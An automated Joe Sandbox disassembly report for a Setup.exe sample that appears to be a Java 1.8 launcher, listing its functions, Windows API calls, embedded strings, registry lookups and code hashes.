Associated: 0000000A.00000002.3174493910.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Setup.jbxd

Similarity

API ID: AllocVirtual$memcpymemset
String ID: e&@
API String ID: 2542864682-73339501
Opcode ID: b1dbb98a8a60990327667ccfc5cfeecd8a2b1543ff788c04fafa38dddfff8afb
Instruction ID: cabd134ca6f8edb0e33f6498aa80dca311541fbb15500bccbc1fa9ad8072609d
Opcode Fuzzy Hash: b1dbb98a8a60990327667ccfc5cfeecd8a2b1543ff788c04fafa38dddfff8afb
Instruction Fuzzy Hash: C61108B16043019FD314DF59CD80F2AB3E5EF88754F15482EF685AB391D674E841CB65

Function 004022C0 Relevance: 6.3, APIs: 5, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

free.MSVCR90 ref: 00402321
VirtualFree.KERNEL32(C0335F5D,00000000,00008000,?,00000000,004026C2,00000000), ref: 00402336
free.MSVCR90 ref: 00402344
GetProcessHeap.KERNEL32(00000000,004026C2,?,00000000,004026C2,00000000), ref: 0040234C
HeapFree.KERNEL32(00000000), ref: 00402353

Memory Dump Source

Source File: 0000000A.00000002.3174431344.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.3174408334.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174452457.0000000000404000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174473874.0000000000405000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3174493910.0000000000407000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Setup.jbxd

Similarity

API ID: FreeHeapfree$ProcessVirtual
String ID:
API String ID: 2257755588-0
Opcode ID: 102b0e965b67371c3419661cfc3c5fb572f8875f49e51ae503116d5d03759085
Instruction ID: c191dbe27311920bbdec97b2ed2d5cc66810e61716ce78d940763c9d64f64ade
Opcode Fuzzy Hash: 102b0e965b67371c3419661cfc3c5fb572f8875f49e51ae503116d5d03759085
Instruction Fuzzy Hash: A3115BB1600701ABD2309B65DD89B57B3A8BB84710F144939EA9AB72D0C7BCF845CA69

Analysis Process: Setup.exePID: 4676, Parent PID: 2820COMMON

Execution Graph

Execution Coverage:	2.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1723
Total number of Limit Nodes:	27

Executed Functions

Function 00007FF7AEE91DA4 Relevance: 59.8, APIs: 13, Strings: 21, Instructions: 294
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7AEE965EC: InitCommonControlsEx.COMCTL32 ref: 00007FF7AEE96611

wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE91E72
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE91E9A
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE91EB4
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE91EC7
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE91EDA
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE91EF4
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE91F07
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE91F1A
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE91F26
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE91F54
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE91F69
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE91F8B
sprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE92175

Strings

off, xrefs: 00007FF7AEE91E7E
-Dsun.java.launcher.diag=true, xrefs: 00007FF7AEE91F9E
NEVER_ACT_AS_A_SERVER_CLASS_MACHINE, xrefs: 00007FF7AEE91F4D
ergo_policy:, xrefs: 00007FF7AEE91F1F
%ld micro seconds to LoadJavaVM, xrefs: 00007FF7AEE92070
argv[%d] = %s, xrefs: 00007FF7AEE91F7E
launcher name:%s, xrefs: 00007FF7AEE91ED3
CLASSPATH, xrefs: 00007FF7AEE920C0
debug:%s, xrefs: 00007FF7AEE91E93
Command line args:, xrefs: 00007FF7AEE91F62
javaw:%s, xrefs: 00007FF7AEE91EE6
program name:%s, xrefs: 00007FF7AEE91EC0
-Djava.class.path=%s, xrefs: 00007FF7AEE92168
javargs:%s, xrefs: 00007FF7AEE91EA6
ALWAYS_ACT_AS_A_SERVER_CLASS_MACHINE, xrefs: 00007FF7AEE91F44
Launcher state:, xrefs: 00007FF7AEE91E6B
DEFAULT_ERGONOMICS_POLICY, xrefs: 00007FF7AEE91F3B
-Dsun.java.command=, xrefs: 00007FF7AEE921D0, 00007FF7AEE921E8
fullversion:%s, xrefs: 00007FF7AEE91F00
-Dsun.java.launcher=SUN_STANDARD, xrefs: 00007FF7AEE9223C
dotversion:%s, xrefs: 00007FF7AEE91F13

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: wprintf$CommonControlsInitsprintf
String ID: debug:%s$dotversion:%s$ergo_policy:$fullversion:%s$javargs:%s$javaw:%s$launcher name:%s$program name:%s$%ld micro seconds to LoadJavaVM$-Djava.class.path=%s$-Dsun.java.command=$-Dsun.java.launcher.diag=true$-Dsun.java.launcher=SUN_STANDARD$ALWAYS_ACT_AS_A_SERVER_CLASS_MACHINE$CLASSPATH$Command line args:$DEFAULT_ERGONOMICS_POLICY$Launcher state:$NEVER_ACT_AS_A_SERVER_CLASS_MACHINE$argv[%d] = %s$off
API String ID: 3782895439-2613195925
Opcode ID: 35aa27bf56d7e74ef57a47c8dcd04c09e893ff32923b0b57d3ae2ec0596db681
Instruction ID: 3418bb26ed57824c2de8680f57e4ba133dee9de0ce86a87b2d600a871e60df58
Opcode Fuzzy Hash: 35aa27bf56d7e74ef57a47c8dcd04c09e893ff32923b0b57d3ae2ec0596db681
Instruction Fuzzy Hash: 01D13C31A0E64295FA10FB27E8401F9E7A4AF85784FC24036E94D477BADEBCE955C720

Function 00007FF7AEE9637C Relevance: 29.9, APIs: 7, Strings: 10, Instructions: 114
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE ref: 00007FF7AEE963D3
RegOpenKeyExA.ADVAPI32 ref: 00007FF7AEE96482
RegCloseKey.ADVAPI32 ref: 00007FF7AEE96429

Part of subcall function 00007FF7AEE96630: MessageBoxA.USER32 ref: 00007FF7AEE966D2

wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE96502
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE9651A
RegCloseKey.ADVAPI32 ref: 00007FF7AEE96526
RegCloseKey.ADVAPI32 ref: 00007FF7AEE96531

Part of subcall function 00007FF7AEE96560: RegQueryValueExA.ADVAPI32 ref: 00007FF7AEE96594
Part of subcall function 00007FF7AEE96560: RegQueryValueExA.ADVAPI32 ref: 00007FF7AEE965C6

Strings

Version major.minor.micro = %s.%s, xrefs: 00007FF7AEE96513
Software\JavaSoft\Java Runtime Environment, xrefs: 00007FF7AEE963B9
Error: Registry key '%s'\CurrentVersion'has value '%s', but '%s' is required., xrefs: 00007FF7AEE96457
CurrentVersion, xrefs: 00007FF7AEE96405
Failed reading value of registry key:%s\%s\JavaHome, xrefs: 00007FF7AEE964C5
MicroVersion, xrefs: 00007FF7AEE964EB
JavaHome, xrefs: 00007FF7AEE964A7
Error: opening registry key '%s', xrefs: 00007FF7AEE963E2, 00007FF7AEE96494
Warning: Can't read MicroVersion, xrefs: 00007FF7AEE964FB
Error: Failed reading value of registry key:%s\CurrentVersion, xrefs: 00007FF7AEE96418

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: Close$OpenQueryValuewprintf$Message
String ID: CurrentVersion$Error: Failed reading value of registry key:%s\CurrentVersion$Error: Registry key '%s'\CurrentVersion'has value '%s', but '%s' is required.$Error: opening registry key '%s'$Failed reading value of registry key:%s\%s\JavaHome$JavaHome$MicroVersion$Software\JavaSoft\Java Runtime Environment$Version major.minor.micro = %s.%s$Warning: Can't read MicroVersion
API String ID: 1004157669-1407590046
Opcode ID: 70b6745e7d21af618b3ec6e86749c8821831cecb29580f1d99783345eb09ad31
Instruction ID: 40cd652e904811a8d2a8ae2a11c843703f4620397991446020d662e4141217ae
Opcode Fuzzy Hash: 70b6745e7d21af618b3ec6e86749c8821831cecb29580f1d99783345eb09ad31
Instruction Fuzzy Hash: CD515D71A1EA4291FA10BB53E8505AAE3A0FF84780FC24132FD9D576B9DEBCD509C760

Function 00007FF7AEE91000 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE91031
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE91058
GetCommandLineA.KERNEL32 ref: 00007FF7AEE9106C

Strings

Windows original main args:, xrefs: 00007FF7AEE9102A
1.8.0_381-b09, xrefs: 00007FF7AEE9111F
_JAVA_LAUNCHER_DEBUG, xrefs: 00007FF7AEE91019
wwwd_args[%d] = %s, xrefs: 00007FF7AEE9104A
1.8, xrefs: 00007FF7AEE91104

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: wprintf$CommandLine
String ID: 1.8$1.8.0_381-b09$Windows original main args:$_JAVA_LAUNCHER_DEBUG$wwwd_args[%d] = %s
API String ID: 921100755-1407750259
Opcode ID: d8f7644c556615631eb1845b4a037e8a21cf320a5f394ecba67ce57f01b19ca9
Instruction ID: 21928a71c89a5ebb52b82212d6af6b17a2eb65d16cd5d86b5e78e7bbfb9b58c4
Opcode Fuzzy Hash: d8f7644c556615631eb1845b4a037e8a21cf320a5f394ecba67ce57f01b19ca9
Instruction Fuzzy Hash: E7316331A0EB8285FB10BB66E4812B9F3A1AF84784F924135EA4D47776DFBDE454C320

Function 00007FF7AEE9A7A4 Relevance: 6.1, APIs: 4, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF7AEE9A7B3

Part of subcall function 00007FF7AEE9ACBC: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7AEE9ACDE

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7AEE9A7C8
__scrt_release_startup_lock.LIBCMT ref: 00007FF7AEE9A836
__scrt_get_show_window_mode.LIBCMT ref: 00007FF7AEE9A889

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 1452418845-0
Opcode ID: 29b13c7cf00c402d89aedddd03e07bd6005fa31edf51c8e0e98308c6cd2c8403
Instruction ID: cca5687160d0249379dafc04aa7b7b0ca59ae4693f90ed55f44eba12d7751878
Opcode Fuzzy Hash: 29b13c7cf00c402d89aedddd03e07bd6005fa31edf51c8e0e98308c6cd2c8403
Instruction Fuzzy Hash: 6B313831E0F24385FA24BB6794553B9E2D1AF81384FC24439F95D0B2F7DEADA855C260

Function 00007FF7AEE96630 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MessageBoxA.USER32 ref: 00007FF7AEE966D2
fwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE96716

Strings

Java Virtual Machine Launcher, xrefs: 00007FF7AEE966C6

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: Messagefwprintf
String ID: Java Virtual Machine Launcher
API String ID: 1438246221-898708411
Opcode ID: 7f12cdf1833f9ca9ebd8898dfd4ec3a12a6f9da31f53ff1fcf5cdf72b08ebb12
Instruction ID: e7beb67ba09b28a62d96468157b84ed076e4c002654770c54af39d3ed153118b
Opcode Fuzzy Hash: 7f12cdf1833f9ca9ebd8898dfd4ec3a12a6f9da31f53ff1fcf5cdf72b08ebb12
Instruction Fuzzy Hash: 2521957260E64141FB20BB67F8553B9E6D1AB85BC4F86413AEE8D477A2DF7CD5018310

Function 00007FF7AEEA70F0 Relevance: 4.6, APIs: 3, Instructions: 92
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AEEA7121

Part of subcall function 00007FF7AEEA76C0: GetDriveTypeW.KERNEL32 ref: 00007FF7AEEA7784

CreateFileW.KERNELBASE ref: 00007FF7AEEA715F
CloseHandle.KERNEL32 ref: 00007FF7AEEA719D

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: CloseCreateDriveFileHandleType_invalid_parameter_noinfo
String ID:
API String ID: 2907017715-0
Opcode ID: a33ca38b42f5ad457585b92045b84c00a2e9d242f388010a2427c9583d10d8ac
Instruction ID: aeb533f8d0d7267c83ffe866aa8b6fa879f3e107088da915c893435f884c24ae
Opcode Fuzzy Hash: a33ca38b42f5ad457585b92045b84c00a2e9d242f388010a2427c9583d10d8ac
Instruction Fuzzy Hash: 8C31F672E0D78146F610FF269900269B690FF957A0F554339EAAC037E1DFBCE5A187A0

Function 00007FF7AEE9FA58 Relevance: 4.5, APIs: 3, Instructions: 19
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF7AEE9FA57), ref: 00007FF7AEE9FA81
TerminateProcess.KERNEL32(?,?,?,00007FF7AEE9FA57), ref: 00007FF7AEE9FA8C
ExitProcess.KERNEL32 ref: 00007FF7AEE9FA9B

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 799936e69fd531bd261ff7b62f03790f280960af208326ac74684e5982d33f97
Instruction ID: 6ac8422eb303fad4c6da6f1cb0a599bf84fde68f2a55e5c520c6bdec77bbf436
Opcode Fuzzy Hash: 799936e69fd531bd261ff7b62f03790f280960af208326ac74684e5982d33f97
Instruction Fuzzy Hash: 98E04830F0E30642FA5477225C95279A3966F84701F56C538D84E06372DDFDEC48C230

Function 00007FF7AEE9F99C Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7AEE9F9BB

Part of subcall function 00007FF7AEE9FAA4: GetModuleHandleExW.KERNEL32 ref: 00007FF7AEE9FAC0
Part of subcall function 00007FF7AEE9FAA4: GetProcAddress.KERNEL32 ref: 00007FF7AEE9FAD6
Part of subcall function 00007FF7AEE9FAA4: FreeLibrary.KERNEL32 ref: 00007FF7AEE9FAF3

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: cb96273a2151a35e2a73fd447c71a94cb89efb4fccae3b55bb54ce2bf4947032
Instruction ID: f6146c54150ccb626ff701a2837d2146d31a6b91a56cc6e5070d5e6377937078
Opcode Fuzzy Hash: cb96273a2151a35e2a73fd447c71a94cb89efb4fccae3b55bb54ce2bf4947032
Instruction Fuzzy Hash: A421AF72E0A74189FB10BF65D8442FCB3E0EB4430CF894536E60D16AA5DFB8C485CB90

Function 00007FF7AEEAF6A0 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AEEAF6CB

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 7d12a3a9cd8618854f03c5d57a39b0879708293af1b00204eadaf822a425f7a8
Instruction ID: acafac2df81b410a97d91dd4e0650c248e4bf8ed49a36b24c8a4c23ba7bd2212
Opcode Fuzzy Hash: 7d12a3a9cd8618854f03c5d57a39b0879708293af1b00204eadaf822a425f7a8
Instruction Fuzzy Hash: 6311603292F64282F210BB17A450079F6A4FB80745F960539E69D476B1DFBCE851C760

Function 00007FF7AEEAB4E8 Relevance: 1.3, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF7AEEACCC5,?,?,00000000,00007FF7AEEA6825,?,?,?,?,00007FF7AEEAA502,?,?,00000001), ref: 00007FF7AEEAB53D

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 355c47a1c2388d09e0757d78d861c5675caf979fd987a81e8f0d11b9d98ca172
Instruction ID: 53bb844c36c10d88114a77e82011478835c9908a959339689bd6c7247ae34eb9
Opcode Fuzzy Hash: 355c47a1c2388d09e0757d78d861c5675caf979fd987a81e8f0d11b9d98ca172
Instruction Fuzzy Hash: 0CF04F74F0FA4741FE54766754112B592965F84B42FCE4138C90D4B2A1ED9CE4818230

Non-executed Functions

Function 00007FF7AEE9AFE4 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7AEE9B000
RtlCaptureContext.KERNEL32 ref: 00007FF7AEE9B02D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7AEE9B047
RtlVirtualUnwind.KERNEL32 ref: 00007FF7AEE9B088
IsDebuggerPresent.KERNEL32 ref: 00007FF7AEE9B0DC
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7AEE9B0FD
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7AEE9B108

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 71317b3d12281315f37eb4e3fb27f7e64a2eda6129d7b25fbb9121efbd05b509
Instruction ID: 5852d049094934af2a8549739ad032c9dc93a90eff09a0468a9233ef4cf7b667
Opcode Fuzzy Hash: 71317b3d12281315f37eb4e3fb27f7e64a2eda6129d7b25fbb9121efbd05b509
Instruction Fuzzy Hash: D031727260EB8185FB60AF61E8403EDB3A4FB84744F814539DA8D47BA8EF79C548C724

Function 00007FF7AEEB67A8 Relevance: 9.3, APIs: 6, Instructions: 280timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7AEEB67F2

Part of subcall function 00007FF7AEEB6148: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7AEEB615C

_get_daylight.LIBCMT ref: 00007FF7AEEB67E1

Part of subcall function 00007FF7AEEB61A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7AEEB61BC

_get_daylight.LIBCMT ref: 00007FF7AEEB6A6A
_get_daylight.LIBCMT ref: 00007FF7AEEB6A7B
_get_daylight.LIBCMT ref: 00007FF7AEEB6A8C
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7AEEB6C98), ref: 00007FF7AEEB6AB3

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$InformationTimeZone
String ID:
API String ID: 435049134-0
Opcode ID: f34aa1144b3a603df1cfe8e3aa768729ab95252bd5a74704b41f9320b8c445da
Instruction ID: 11143e7d930544c421c519e73a082215bf7fd1b0911a28ea66f1b93b76f42894
Opcode Fuzzy Hash: f34aa1144b3a603df1cfe8e3aa768729ab95252bd5a74704b41f9320b8c445da
Instruction Fuzzy Hash: A3B1A332A0E64346F710FF23D9511BAE761BB84784FC68235EA8D476A5EFBCE4418760

Function 00007FF7AEEAB26C Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7AEEAB2E5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7AEEAB2FD
RtlVirtualUnwind.KERNEL32 ref: 00007FF7AEEAB338
IsDebuggerPresent.KERNEL32 ref: 00007FF7AEEAB371
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7AEEAB37B
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7AEEAB386

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: e58f4378e033707c7bf7f7cf13841d0542599257f0a2f9b68ca8a604657ef5b9
Instruction ID: 823b56e321a0ed4e63fe331050d957a072e78b61d9d9c64d318e26b6146204ee
Opcode Fuzzy Hash: e58f4378e033707c7bf7f7cf13841d0542599257f0a2f9b68ca8a604657ef5b9
